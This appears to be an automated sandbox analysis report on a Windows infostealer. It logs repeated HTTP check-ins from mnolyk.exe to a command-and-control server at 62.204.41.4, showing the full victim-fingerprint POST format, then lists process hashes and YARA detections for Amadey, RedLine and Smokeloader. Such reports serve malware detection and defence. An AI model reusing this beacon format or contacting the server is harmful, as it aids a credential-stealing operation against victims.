Feb 8, 2023 21:31:39.747318029 CET	282	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:39.810122013 CET	282	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.3	49784	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:39.982750893 CET	283	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:40.048814058 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.3	49785	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:40.215517998 CET	284	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:40.279097080 CET	284	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.3	49786	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:40.457663059 CET	285	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:40.520906925 CET	285	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.3	49787	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:40.714503050 CET	286	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:40.777539968 CET	286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.3	49788	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:40.954035997 CET	287	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:41.018948078 CET	287	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.3	49789	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:41.224339962 CET	288	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:41.289380074 CET	288	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.3	49790	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:41.465182066 CET	289	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:41.529822111 CET	289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.3	49791	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:41.723772049 CET	290	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:41.787893057 CET	290	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49710	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:11.651176929 CET	209	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:11.715651035 CET	210	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.3	49792	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:41.968818903 CET	291	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:42.032325029 CET	291	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.3	49793	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:42.202188969 CET	292	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:42.270839930 CET	292	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.3	49794	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:42.450951099 CET	293	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:42.513572931 CET	293	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.3	49795	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:42.683943987 CET	294	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:42.746000051 CET	294	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.3	49796	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:42.929790974 CET	295	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:42.994865894 CET	295	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.3	49797	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:43.170404911 CET	296	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:43.236171007 CET	296	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.3	49798	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:43.430749893 CET	297	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:43.495352983 CET	297	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.3	49799	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:43.671152115 CET	298	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:43.735203028 CET	298	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.3	49800	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:43.904290915 CET	299	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:43.967133045 CET	299	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.3	49801	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:44.140311003 CET	300	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:44.205696106 CET	300	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5152, Parent PID: 3452

General

Target ID:	0
Start time:	21:30:00
Start date:	08/02/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x11d0000
File size:	582144 bytes
MD5 hash:	392470D5B5723C386B943751C15721A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.261384983.0000000004B55000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: bmMg.exePID: 5132, Parent PID: 5152

General

Target ID:	1
Start time:	21:30:01
Start date:	08/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe
Imagebase:	0xf80000
File size:	391168 bytes
MD5 hash:	03D901B08C7DE9A3C6323A8C6DF73569
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: amMl.exePID: 2508, Parent PID: 5132

General

Target ID:	2
Start time:	21:30:01
Start date:	08/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe
Imagebase:	0x400000
File size:	372736 bytes
MD5 hash:	AD3805672C5FE617D88DCE7E50E56B9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000002.00000002.367095576.0000000000767000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000003.343232585.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: 